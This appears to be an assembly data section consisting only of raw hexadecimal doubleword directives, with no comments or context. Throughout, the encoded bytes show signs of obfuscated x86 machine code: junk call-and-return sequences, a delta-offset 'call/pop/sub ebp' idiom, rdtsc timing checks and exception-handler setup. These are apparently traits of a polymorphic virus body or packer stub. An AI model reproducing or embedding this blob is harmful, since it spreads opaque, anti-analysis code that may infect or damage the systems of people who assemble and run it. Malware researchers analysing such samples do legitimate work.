		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 31B9E0B7h
		dd 0E919099Dh, 85858907h, 6A07ECD7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 17A1C355h
		dd 520D2D82h, 42E919AEh, 0E9000002h, 0Ch, 29C187F9h, 71207969h
		dd 96E8136Dh, 0D77D858Bh, 0BD8B07ECh, 7E91B75h,	1800C7h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 1AE8AC3h,	0BF66FC58h, 0B58B14EEh,	7ECD781h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 70C35343h
		dd 6FF1D0F5h, 232BD3BBh, 59858B7Eh, 8107E918h, 112000D7h
		dd 699D0328h, 8907E902h, 0ADBD2906h, 8B07E92Ah,	0E90C5585h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 589D8227h, 890F715Bh, 18h, 13E9h, 0F927B400h
		dd 0A9FD0FB7h, 0CFE07DEEh, 8E1FE852h, 0B6B44FF0h, 97CE8160h
		dd 0F526AF9h, 689h, 840F00h, 61000000h,	81044689h, 7994C3EFh
		dd 0AE85016h, 70000000h, 39F28C3Ah, 3AA8EF82h, 50525094h
		dd 5A310F52h, 5A310F58h, 34895F58h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0E3FA831Ah
		dd 0B5FFE43Ch, 7ECD77Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0DCC35747h, 1C16A20Ah, 55302755h, 8BF88B93h
		dd 0E912819Dh, 4E807h, 3FF0000h, 5660001Fh, 0AF2B90BEh
		dd 800F5961h, 5, 17432EBEh, 0E950615Dh,	0Fh, 0E3BD284Ah
		dd 38A83DE9h, 355F8D31h, 8BAB166Bh, 0BB042444h,	70D96919h
		dd 8B66008Bh, 244489DAh, 5E904h, 0BFB30000h, 58E88FE5h
		dd 0D68B60F8h, 13E8h, 0CA04EF00h, 0D3DA3F80h, 35CD9C95h
		dd 625C6D1h, 8559637Bh,	615AF78Ah, 0D785858Dh, 0BF0F07ECh
		dd 0C0BB90D8h, 5017E7F4h, 90F98B66h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0DEC35040h,	908B1336h, 95FF34ACh
		dd 7E902D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	50C35545h, 9D19D2F8h, 0F4FBFFDh, 0C81h,	68B0F00h
		dd 89000000h, 0E90E0D8Dh, 6A6107h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 66BCCDC3h, 490FE381h
		dd 22B185C7h, 307E9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 95894DC3h, 7E92B41h
		dd 0D785BD83h, 0F0007ECh, 1084h, 499D8B00h, 0E907E907h
		dd 20h,	6FF38166h, 0C305044h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 48B0Fh, 0BF660000h, 6A1BDBh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B5E9AC3h, 0E93221BDh, 0B1BD8307h, 307E922h,	450850Fh
		dd 0BD8B0000h, 7E92999h, 0D785BD83h, 0F0007ECh,	43D84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 7FCE0C48h, 0F98B6631h, 0D785B5FFh, 9E807ECh
		dd 9D000000h, 0C571088Ah, 5101D935h, 4995FF5Fh,	6A07E913h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 50CFC356h, 8B8CFD18h, 0ECD779B5h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 64EC2771h, 0C7D3329Ch, 1000106h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0BB669642h
		dd 57504A5Eh, 4870Fh, 0BF660000h, 965BACB6h, 11E8h, 0DF1F7F00h
		dd 79D5EFE5h, 935D4744h, 0A86F792Eh, 880FC2BAh,	0
		dd 85B5FF5Fh, 6A07ECD7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 76C3C357h, 1AB195FFh
		dd 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 9D18F0C3h, 96CABFE6h, 0B58B2688h,	7ECD779h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 3CC35343h
		dd 0D6BB669Eh, 49858B20h, 6A07E924h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C144C357h
		dd 286A6948h, 0D772FDDh, 1C71BD8Bh, 295107E9h, 0E931359Dh
		dd 86895F07h, 0C4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 4BC35646h, 6E6AFF4Ah,	87CF3B8Ah, 0DF8B6647h
		dd 320D958Bh, 950107E9h, 7E90E3Dh, 6A04C283h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0FFC4C356h, 0F838E924h, 1DB2E0EAh, 96E0BB66h, 6A205089h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 4697C356h, 75B5296Ch, 8B07E91Bh, 0E92DCD9Dh
		dd 0A1858D07h, 6A07ECECh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 8B55C353h, 8934E562h
		dd 0B886h, 0B59D0B00h, 6A07E915h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0A93D706Eh
		dd 85B5FF2Eh, 6A07ECD7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8B5BC356h, 0FE8B66FAh
		dd 2CD95FFh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0AC3129C3h, 94EC37E7h, 0E85396E9h
		dd 6, 0EE6A7FA1h, 12E9F9B8h, 0E0000000h, 0B1EBD02Fh, 4CCE5B2Fh
		dd 0D6FC4BFh, 10BDAF8Ch, 505F5FBFh, 0F96DA8Bh, 683h, 0A5BD8900h
		dd 0FF07E916h, 0ECD785B5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F3804CE6h
		dd 2D95FF23h, 6A07E930h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 837DC357h, 0E91EC9BDh
		dd 840F0007h, 24h, 2B098529h, 0B75007E9h, 243489A1h, 4820Fh
		dd 0BB660000h, 9E96A7Ch, 40000000h, 6A51938Eh, 0C9DD8AA0h
		dd 0D785B5FFh, 6A07ECh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD8B19C3h, 7E920EDh, 0F0DB589h
		dd 95FF07E9h, 7E91F9Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 56C35040h, 850FE421h,	0Ch, 6840Fh, 820F0000h
		dd 0
		dd 0D785B5FFh, 850F07ECh, 3, 0FFA3D380h, 0E9013995h, 97BB6607h
		dd 0CDBD8313h, 207E929h, 38840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0DA0D25C3h
		dd 0B2EFACF9h, 8B414662h, 0E9087585h, 95BF6607h, 0C605h
		dd 2A099D8Bh, 85C707E9h, 7E924ADh, 0
		dd 5A75E781h, 0F3E95F9Ah, 6AFFFFF2h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BC6C356h
		dd 35BF66C1h, 858DF9C7h, 7E90861h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0A7C35646h,	8AFC322Ch, 8C0F90DAh
		dd 3, 50DE8B66h, 9E953h, 94070000h, 99A1ADAh, 5F23E32Fh
		dd 6AF890h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 14h,	0FFC35141h, 0EE8h, 9200F000h, 16A8DBAAh, 0B37AA0BAh
		dd 0E8750089h, 13h, 0B88C6892h,	7EE41C77h, 686D84C6h, 0C92AD151h
		dd 0BC31BC1h, 0E92A5DBDh, 6A5F5B07h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 24983F4Eh
		dd 0EE9h, 43C5CF00h, 55684177h,	9761C03Bh, 8D6C2893h, 0EE40A985h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 989B6299h, 0E5BFB390h, 0B70FE88Fh, 0FD9D8BDEh
		dd 8307E915h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 9D892EC3h, 7E920B9h, 166D9D03h
		dd 958907E9h, 7E920EDh,	0BB6690h, 0BA605022h, 567B79BFh
		dd 0BE665250h, 310F61EEh, 9D82D2BFh, 61585A76h,	6AF890h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 4AC35141h
		dd 0E822D243h, 0Eh, 5A50E101h, 16A6B43Fh, 0E15B28F8h, 0E8562FEAh
		dd 0Fh,	37D3DCBAh, 0E28CCAE8h, 0B4D94EDFh, 5F5DF728h, 6A5F5Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C0C35141h
		dd 0C16D3FC9h, 3C34A57h, 2420BF3Ch, 0BD317961h,	7E90311h
		dd 0FB995FFh, 8D8D07E9h, 7ECD72Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0ECC35545h,	31CA5410h, 0E908E185h
		dd 0ED9D0307h, 0FF07E923h, 0D9BF0FD1h, 1B69BD83h, 0F0107E9h
		dd 7285h, 0DE800h, 422B0000h, 0D464E492h, 93F3BD38h, 66C79564h
		dd 0F95BD88Bh, 9D03026Ah, 7E92985h, 10E85090h, 0F000000h
		dd 412E8BB1h, 0E04623C1h, 0C89BB23Eh, 5F0D4142h, 51006A90h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0F9F901B1h, 0ED7F1A41h, 0FFDFBF0Fh, 0E902CD95h, 66606007h
		dd 0F019BBFh, 8061F1B7h, 0E9618EE0h, 0E92h, 0E8h, 0ED815D00h
		dd 7EE40B3h, 22B58589h,	8D3107E9h, 7E93441h, 0DE8h, 0E583FB00h
		dd 312E3BCBh, 39639BABh, 0BE98DB1h, 8A000000h, 0DE59EA83h
		dd 0A693154Bh, 8D5F82CBh, 0ECB40685h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0A8F05199h, 50C50CD5h, 0FF2133BBh, 2404894Ah, 8B0Fh
		dd 0FF640000h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0BD67A944h, 9D09E018h
		dd 7E92FE9h, 9BF78166h,	2589645Fh, 0
		dd 23B19D8Bh, 0FFF807E9h, 0E90F9D85h, 9DC7BF07h, 0FF6A4710h
		dd 34318D29h, 958907E9h, 7E91FA9h, 1735B5FFh, 9D2907E9h
		dd 7E934C9h, 12E9h, 7F66A400h, 11C49959h, 7193AEECh, 80959FFEh
		dd 0FF61D2D0h, 0E9233D95h, 157E907h, 0E9530000h, 12h, 0BC68A25Ch
		dd 1D3D3CEAh, 6D1EC628h, 0CB23B46Ah, 0B05F3B69h, 9D9D0900h
		dd 0E607E902h, 0E971E470h, 8, 4332AC66h, 0CD26CBBAh, 830F613Ch
		dd 11Dh, 13E8h,	0E9CBA300h, 89788FF5h, 93850AFh, 318A1C1Dh
		dd 8CAE6F4Fh, 0CE5B589h, 0F5F07E9h, 9E9C8B6h, 0BA000000h
		dd 0A4A86946h, 0F10B29A3h, 6BAh, 0FFB70F00h, 29F58D09h
		dd 0C18B07E9h, 0AE82BB66h, 12E9h, 0E886E200h, 0F7666CF3h
		dd 0EED7A7DBh, 0ABCD6263h, 0C11D3977h, 816604E8h, 66BB15DFh
		dd 9D8BE2F7h, 7E907E9h,	8501C82Bh, 7E901B9h, 0A2E9D18Bh
		dd 89000000h, 0E90775BDh, 9D896007h, 7E90B09h, 0FBDB589h
		dd 8B6107E9h, 4E4985h, 0FE944h,	0BDE20000h, 0FD5BD465h
		dd 0C621681Dh, 937BD6F5h, 7C0838Ch, 811CEF80h, 0AE9B1CCFh
		dd 0C08354h, 0FD03BF8h,	2383h, 0DE800h,	965F0000h, 8AEA9A05h
		dd 37C0419Fh, 8930954Fh, 0E913998Dh, 3EE95F07h,	66000000h
		dd 2EEFDB81h, 0FFFF8D8Bh, 0B589FFFFh, 7E91DD5h,	0F01E183h
		dd 2484h, 0C9BBF500h, 833919EFh, 0FFFFFFA5h, 24BFFEFFh
		dd 897F70B2h, 4E4995h, 777BF44h, 0F98B432Dh, 0E9h, 81B58D00h
		dd 0E907EDBBh, 0Bh, 0DF7865C9h,	3153DD44h, 6A37C856h, 0AE86000h
		dd 13000000h, 0F862E490h, 0AB569254h, 21B52BA6h, 5907E921h
		dd 2E858D29h, 0FF6107E9h, 0E90C3195h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 2AE61B9Eh, 5CEF8118h, 231C2B6Ah, 0E91C35BDh,	0F62B907h
		dd 0BD2B0000h, 7E90B89h, 6AFCE183h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 7583C351h
		dd 91052710h, 0B414336Dh, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 31F21421h
		dd 0C5B50947h, 6007E90Ah, 0BE8h, 9D955A00h, 5FCA2D01h
		dd 7B4CCAA8h, 10819D89h, 0E95B07E9h, 9,	82A1EA9Bh, 0C1EA3B47h
		dd 0B86136h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 2D41C356h, 8B96E90Ah
		dd 0E900819Dh, 29958907h, 0BA07E926h, 0
		dd 2AA5BD03h, 33AD07E9h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 32865CC3h, 7C9D3E05h, 7EB8161h, 0E9645627h, 13h, 6D50AA59h
		dd 85E439BCh, 2D40B921h, 7BFDC153h, 6A0B12F0h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0CD86C356h, 0FBBB6707h, 880Dh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0EF9A78AAh
		dd 7131B470h, 8BFCD42Ch, 0E9320D95h, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 965903Ah, 687CBBA0h
		dd 8D8B3C35h, 7E922E5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 27C35242h, 50FC34C7h,	188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0EB9E7E6Ch
		dd 16154457h, 17159529h, 10E907E9h, 5B000000h, 8202E09Ah
		dd 0C0589C2Ah, 72797BA4h, 8391DAF5h, 0E91C2DBDh, 840F0007h
		dd 78h,	0F1DBD8Bh, 0B807E9h, 6A000000h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 48DCC357h
		dd 4D5A8D8Dh, 0BE907E9h, 8E000000h, 0C802F639h,	4B7C7F23h
		dd 0E1FF06A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	6AC35747h, 0C8805DE2h, 3276EB1h, 5DBF6680h, 0AE91Fh
		dd 8CC80000h, 0E8B9B918h, 282323CCh, 22B1BD83h,	0F0007E9h
		dd 44C84h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0E8F01160h, 855EA9CDh, 0B1BD83C3h
		dd 107E922h, 436840Fh, 0BD830000h, 7E922B1h, 0F3860F03h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0B6CEC351h, 0DA8EE952h, 41BD3160h
		dd 6107E92Dh, 11B1BB66h, 8D53BF60h, 8C66222Bh, 52006AD9h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0AEEB67B7h, 25B74990h, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0BBE8C356h
		dd 0EE99Ah, 72CE0000h, 0E1C98A64h, 9DAEEE08h, 6CC1802Ch
		dd 0FC90AF5h, 16884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 11F86549h, 0AE8h, 0DAEC3D00h
		dd 2600C402h, 81FF6624h, 74290FC7h, 858B5F0Fh, 7E90C55h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 26C35343h
		dd 1BDAF7AFh, 14E862h, 15960000h, 30BD330h, 3165C884h
		dd 5D34FDD0h, 35780F2h,	9D8B2AF0h, 7E9307Dh, 0E985335Bh
		dd 6A07E91Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 29BDC355h, 0E9193585h,	214DBB07h
		dd 0E95214C8h, 0Fh, 859856C1h, 0E0AF595Dh, 0B7B84CC1h
		dd 5F0DD204h, 3BBF5390h, 5B7DD621h, 870F50h, 90000000h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BEC35747h
		dd 6AF7B374h, 0B9B50900h, 6807E91Bh, 2DEC4EAFh,	50243481h
		dd 0FF2DF34Dh, 0E902D995h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0D1431F53h
		dd 21F38B24h, 8589B95Fh, 7ECD785h, 0E95CEF80h, 1D7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 81C35747h, 0EE814A2Dh
		dd 7E9E5h, 18210000h, 0B6E04E34h, 7D858B4Ch, 6A07ECD7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0C7AAC351h, 1800h, 619D8B00h, 8B07E91Dh
		dd 0ECD781B5h, 0D1950907h, 8B07E929h, 0E9185985h, 6A068907h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 2530C352h, 7326D940h, 0C55858Bh, 870F07E9h
		dd 0Ch,	7E9h, 0E97F3600h, 11FC6C31h, 89044689h,	0E93449B5h
		dd 66509607h, 9654FABFh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 8BC35747h, 0B5FF3441h, 7ECD77Dh, 0DA68DE8Bh
		dd 50C705F1h, 9E952h, 0CF2D0000h, 7F248539h, 0F3BC5B7h
		dd 6800F31h, 0F000000h,	88h, 81585A00h,	12252404h, 6A3919h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0A57B70C3h, 810FCFABh, 6, 0B0D9509h,	0B58907E9h, 7E92081h
		dd 0D785858Dh, 816607ECh, 0E8BCCADBh, 0Ah, 60EBD100h, 0A07A079Ah
		dd 0DCBFDC3Ah, 5F73A9FCh, 860F6050h, 5,	509771BFh, 0BE847h
		dd 20F90000h, 3A095FF1h, 9B86277Bh, 6E97Ch, 3BD50000h
		dd 0B0E79F40h, 4896158h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 85890F73h, 7E926ADh, 2D995FFh
		dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 2D6DF3C3h, 0F53C0A1Eh, 61FAB70Fh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 77C35343h, 0F56DEBBCh
		dd 85C7292Bh, 7E922B1h,	3, 19A19D0Bh, 0BD8307E9h, 7ECD785h
		dd 0B840F00h, 8B000000h, 0E91F899Dh, 1BE907h, 30500000h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 21023972h, 8C20FED8h, 2F71BD89h,	6A07E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0F07E86C3h, 7E7E4CDFh, 0E380E9B8h, 0B1BD837Dh, 307E922h
		dd 40C850Fh, 0F530000h,	28Fh, 5BDA8B00h, 0D785BD83h, 0F0007ECh
		dd 3F584h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 5FF71A49h, 123CF1BFh, 85B5FFFFh
		dd 907ECD7h, 0E92B3585h, 4995FF07h, 6A07E913h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 3549C357h, 26C94935h, 0BCB6EF81h, 0B58B3AE9h, 7ECD779h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 22C35646h
		dd 4B9CEBCDh, 860F3583h, 1, 106C7F5h, 6A000100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0FC15C352h, 0C717BB50h, 348962F4h, 53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 702CAD31h, 0BC4D64CBh, 95BD8B99h, 0FF07E90Ah, 0ECD785B5h
		dd 0FE8B6607h, 1AB195FFh, 0AE807E9h, 0FE000000h, 0B41A749Bh
		dd 6C5C5793h, 759D2379h, 5F07E92Ch, 0D779B58Bh,	6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 2323DFC3h, 0E901FDBDh, 49858B07h, 6607E924h
		dd 7A01F381h, 0C48689h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 594BA2C3h, 0E9BAEC1Dh
		dd 0Bh,	0DB8A0E97h, 0FCCCF348h,	8BFDE3F1h, 0E9320D95h
		dd 14E907h, 0DA040000h,	0D6F77B6Ah, 14ACF015h, 0C21AF25Fh
		dd 6BDCB239h, 0C283DF3Fh, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 46913C1Eh
		dd 0ABC40B36h, 9D8B8D8Ch, 7E908A9h, 6A205089h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0A5E4C355h, 31A16BFEh, 34B337D4h, 0ECA1858Dh, 9D8B07ECh
		dd 7E91CEDh, 0B88689h, 8C0F0000h, 17h, 5E8h, 2FA0F500h
		dd 7E9D110h, 0A2000000h, 5F317A2Eh, 6A5B1349h, 9DBD8B00h
		dd 0FF07E91Ch, 0ECD785B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 95FF858Ch
		dd 7E902CDh, 13E9h, 97DACB00h, 7CAEDF02h, 2F2599E8h, 0F569FD4Fh
		dd 11D44B0Fh, 0BE950h, 2B3B0000h, 6A9178C7h, 0B66C6360h
		dd 24348970h, 316DBD31h, 0B5FF07E9h, 7ECD785h, 0C9858B60h
		dd 8907E91Bh, 0E92E91BDh, 95FF6107h, 7E9302Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4CC35242h, 93A1FDD7h
		dd 6E8F8h, 0F47B0000h, 0BEADDB75h, 11E9h, 0B08FBD00h, 0B3CD8BFh
		dd 0D249EC7Ah, 0AACDEC0h, 835F8D12h, 0E91EC9BDh, 840F0007h
		dd 32h,	37B85360h, 5F7E64F0h, 12E9h, 0B80A3200h, 2C7A4B55h
		dd 2A5EB497h, 8A25F2E0h, 61296AA0h, 5096DA8Bh, 0CD7353BBh
		dd 0DE8B9643h, 1F199D89h, 0B5FF07E9h, 7ECD785h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 62C35545h, 0BF38B644h
		dd 192A0110h, 68A0Fh, 9D8B0000h, 7E91DFDh, 0F1FDBB66h
		dd 1F9D95FFh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 69F911C3h, 0B3538129h, 85B5FFE2h
		dd 6A07ECD7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 4F61C351h, 435AFC9Fh, 0FF30C622h
		dd 0E9013995h, 9D9D2907h, 8307E909h, 0E929CDBDh, 840F0207h
		dd 2Bh,	0F8F0Fh, 0AE90000h, 0B2000000h,	13E01170h, 9B10998Dh
		dd 75858B16h, 0FC07E908h, 2FBD9D8Bh, 0C607E9h, 298D8900h
		dd 0C707E90Eh, 0E924AD85h, 7, 0CB816600h, 8BE9C5BDh, 6AFFFFF2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 9BC9C352h, 39BD8BB9h, 8B07E90Ah, 0E90B319Dh
		dd 8B5B5607h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0D1E7368Ah, 0FE7BD3E0h, 7E96561h
		dd 0E9000000h, 0BC149BDEh, 858D4616h, 7E90861h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 19C35242h, 0EF63D148h
		dd 0B2BF6623h, 5B501EEh, 9007E90Fh, 13E8h, 7869F600h, 562233D3h
		dd 0FB7E137Bh, 4FB10B69h, 145C9FEFh, 56BB5250h,	0F345E52h
		dd 0AE931h, 38850000h, 10498AE4h, 0AE72C8ABh, 505F585Ah
		dd 0FA8B5250h, 8B66310Fh, 90585AF9h, 6AFA8B66h,	19BB6600h
		dd 0E9006AC3h, 7, 7597C3BEh, 51A9AD9Ch,	8D5FFB8Bh, 0EE510485h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 898D293Dh, 8307E91Bh, 0FB8B05C0h, 897AB750h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 13EBBAC3h, 8ED747EEh, 6A006A38h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0EFB1C355h, 6AFB8B66h, 0A99D8B00h, 0FF07E901h, 0E90FB995h
		dd 559D8B07h, 6607E900h, 8D8DDA8Bh, 7ECD72Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4BC35747h, 19074FD9h
		dd 309B7AB8h, 0DF8BD1FFh, 1B69BD83h, 0F0107E9h,	6D85h
		dd 0CB816600h, 26A7629h, 0BE9h,	72A44900h, 41AAE072h, 0FD82C725h
		dd 505F5290h, 0EE8h, 0DA786A00h, 0FD526206h, 41E7E68Eh
		dd 0BBED7B78h, 7B042B01h, 0AE9905Fh, 0D5000000h, 5E00CCD7h
		dd 218AAC5Eh, 0CD95FF50h, 6A07E902h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D3CFC352h
		dd 3459BD29h, 64E907E9h, 0E800000Eh, 0
		dd 0EED815Dh, 6A07EE51h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 3701C351h, 0F3048656h
		dd 0F3817B48h, 6C4691D3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0D9C35747h, 1A9D9589h, 858D07E9h, 7ECB406h
		dd 16719D8Bh, 0BF9007E9h, 717F7048h, 0DA8B6650h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 5033E961h, 66B62A7Ch, 528858BFh, 0AB99D8Bh, 645F07E9h
		dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 2957DFC3h, 0E91F0595h, 4DB58907h
		dd 6407E926h, 2589h, 870F0000h,	6, 23A99D89h, 85FF07E9h
		dd 7E90F9Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	3BC35646h, 78AAB1ACh, 6AFF6A9Ah, 3E85200h, 20000000h
